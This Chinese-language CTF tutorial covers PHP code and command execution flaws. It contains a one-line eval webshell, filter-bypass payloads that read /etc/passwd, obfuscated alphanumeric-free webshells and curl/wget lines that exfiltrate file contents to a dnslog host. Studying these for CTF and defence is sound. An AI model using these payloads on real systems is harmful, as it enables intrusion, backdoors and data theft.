代码执行是指服务器上的解释器按照程序编写的指令和算法逐步执行代码的过程。
远程代码执行(Remote Code Execution)简称RCE,由于应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,则会导致代码执行漏洞的发 生。WebShell能够执行代码,本质上就是利用了代码执行的函数。
1、执行PHP代码
获取服务器内容或相关信息
2、向服务器写WebShell
利用代码PHP代码功能,往服务器中写入shell脚本
3、控制服务器
利用shell脚本,上传大马,甚至控制服务器
RCE指的是攻击者通过利用应用程序或系统中的漏洞,成功地在目标系统上执行任意代码的能力。攻击者通常会使用RCE来获取对目标系统的控制,以进行恶意活动,例如数据盗取、删除数据或在系统上安装恶意软件等。
"Getshell"是指攻击者成功地在受攻击系统上获得一个可操作的shell(命令行界面),使得攻击者可以 在系统上执行任意命令。攻击者通常会使用getshell来进一步扩大其攻击范围或占领系统。
RCE是一种攻击技术,而getshell是攻击成功后的结果。攻击者可以通过各种方式实现RCE,而获得 getshell是RCE的一种可能结果之一。
这类的漏洞不像SQL注入、文件上传那样容易发现,此类的漏洞一般可以通过以下方式进行发现:
PHP: eval、assert
Javascript: eval
Python: exec
Java: Java中没有php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并 且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。
eval ( string $code )
<?php
eval($_POST['a']);
?>
实际上,以上等价于
<?php eval("phpinfo();");?>
assert ( mixed $assertion [, string $description ] )
<?php
assert($_POST['a']);
?>
call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
<?php
call_user_func("assert",$_POST['cmd']);
?>
1.尽量不要使用危险函数
2.对数据进行黑白名单处理
3.对传入的特殊字符转义
命令执行是指计算机程序接受用户输入的命令,并按照命令的要求执行相应的操作。命令可以执行各 种操作,例如读取文件、创建文件、修改文件、运行程序、删除文件等。
命令执行通常是通过一个命令行界面或终端窗口进行的。在命令行界面中,用户可以输入各种命令来 操作计算机系统,而系统会相应地执行这些命令。命令行界面通常用于系统管理员、程序员或高级用户等需要更精细控制计算机系统的人员使用。
远程命令执行漏洞(Remote Command Execution),简称RCE。
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等 设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提 交后后台会对该IP地址进行一次ping测试,并返回测试结果。
如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交恶意命令,从而导致漏洞的发生。
命令执行执行的是系统命令。代码执行执行的是程序代码。
- 继承Web服务器程序的权限,去执行系统命令
- 继承Web服务器程序的权限,读写文件
- 反弹shell
- 控制整个网站
这类的漏洞不像SQL注入、文件上传那样容易发现,此类的漏洞一般可以通过以下方式进行发现:
代码审计
为最主要的方式,借助代码审计工具,非常方便的审计出此类的漏洞
已知的组件、开发框架漏洞
已知组件、开发框架有很多每年都会爆出来很多此类的漏洞
页面传参查找
针对页面有传入参数的地方,可以重点关注传入恶意代码尝试,概率相对较小
- PHP:system()、exec()、shell_exec()、passthru()、penti_exec()、popen()、proc_pen ()等,此外还有反引号命令执行,这种方式实际上是调用 shell_exec()函数来执行。
- ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStart Info等
- Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
- Python:system()、popen()、subprocess.call
格式:exec(string $command [, array &$output [, int &$return_var ]])
作用:执行一个外部程序,exec() 执行 command 参数所指定的命令。第二个参数是执行命令返回 的结果,第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
<?php
echo exec('whoami');
?>
注:exec执行命令时不会输出全部结果,而是返回结果的最后一行。
<?php
header('Content-Type: text/html; charset=gb2312'); // Windows系统需设置
echo exec('ipconfig');
?>
system( string $command [, int &$return_var ] )
system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令 成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
<?php
header('Content-Type: text/html; charset=gb2312');
system('ipconfig');
?>
shell_exec( string $cmd )
<?php
header('Content-Type: text/html; charset=gb2312');
$output = shell_exec('ipconfig');
echo $output;
?>
是shell_exec
的别名,效果相同
<?php
echo `ipconfig`;
?>
为了防止命令执行漏洞,开发人员应该遵循以下几个最佳实践:
- cmd1;cmd2:cmd1执行完再执行cmd2,windows下无法用(;)
- cmd1|cmd2:不管cmd1命令成功与否,都会去执行cmd2命令
- cmd1||cmd2:首先执行cmd1命令再执行cmd2命令,如果cmd1命令执行成功,就不会执行cmd2命令;相反,如果cmd1命令执行不成功,就会执行cmd2命令。
- cmd1&cmd2:&也叫后台任务符,代表首先执行命令cmd1,把cmd1放到后台执行再执行命令cmd2, 如果cmd1执行失败,还是会继续执行命令cmd2。也就是说命令cmd2的执行不会受到命令cmd1的干扰。
- cmd1&&cmd2:首先执行命令cmd1再执行命令cmd2,但是前提条件是命令cmd1执行正确才会执行命令cmd2,在cmd1执行失败的情况下不会执行cmd2命令。所以又被称为短路运算符。
ca""t
ca\t
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tail:查看尾几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
nl:显示的时候,顺便输出行号
od:od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来
sort:将文本文件内容加以 ASCII 码的次序排列
uniq:用于检查及删除文本文件中重复出现的行列
file -f:报错出具体内容
paste:把每个文件以列对列的方式,一列列地加以合并
反引号+base64编码:(内联执行)
`echo Y2F0IC9ldGMvcGFzc3dk |base64 -d`
> < <> 重定向符
%20 (space)
%09 (tab)
$IFS$9
${IFS}(最好用这个)
$IFS
%0a 换行符
{cat,flag.txt} 在大括号中逗号可起分隔作用
某文件(如/etc/passwd)被过滤:可用glob通配符匹配文件名
? 表示任一单个字符, * 表示任意字符串
/e?c/?asswd
/e*c/*asswd
/??c/?asswd
/??c/?assw?
/bin/base64 可以通配为: /???/????64
将文件以base64编码形式输出
/usr/bin/bzip2 可以通配为:/???/???/????2
将文件压缩成后缀为bz2的压缩文件 flag.php ==> flag.php.bz2
/bin/ca?
相当于cat命令
例如**[a-c]** 代表匹配 a-b之间的字符,包括a,b字符本身
匹配范围为当前目录
/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
相当于
/bin/cat flag.txt
因为[]匹配范围只在当前路径
所以要为bin绝对路径
以flag.php为例:
x=lag;cat f$x.php
相当于:
cat flag.php
${PATH:14:1}${PATH:5:1} flag.txt
在此环境中相当于 nl flag.txt
原理参考 一些不包含数字和字母的webshell - phithon
<!-- 取反php脚本 -->
<?php
$a = "system";
$b = "ls /";
echo urlencode(~$a);
echo "<br>";
echo urlencode(~$b);
echo "<br>";
echo "?code=(~".urlencode(~$a).")(~".urlencode(~$b).");";
?>
<!-- 异或php脚本 -->
<?php
$a='ls';
for ($i = 0;$i <strlen($a);$i++)
echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
echo '%ff';
?>
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
payload1:
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
payload2:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
该命令可以读取并执行文件中的命令
可构建文件上传表单,上传命令文件执行
表单示例:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230-8231.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
get请求为
?c=.+/???/????????[@-[]
Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])
Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)
注意:通过.
去执行sh命令不需要有执行权限
可以参考p神的这篇文章无字母数字webshell之提高篇 | 离别歌
无回显的执行函数:
exec()
shell_exec()
`` (反引号)这些需要php函数echo才可以输出结果
例如:
ls / | tee 1.txt
然后输入 url/1.txt 即可查看根目录
其他命令:
cat /flag | tee flag.txt
cp /flag flag.txt
mv /flag flag.txt
curl dnslog平台url/`cat flag.php|base64`
wget dnslog平台url/`cat flag.php|base64`
详见 CTF反弹shell总结
工具:
[github repo="0dayCTF/reverse-shell-generator" /]
在线版:https://www.ddosi.org/shell/
[github repo="ProbiusOfficial/TCL" /]
[github repo="ProbiusOfficial/frp-R3shell" /]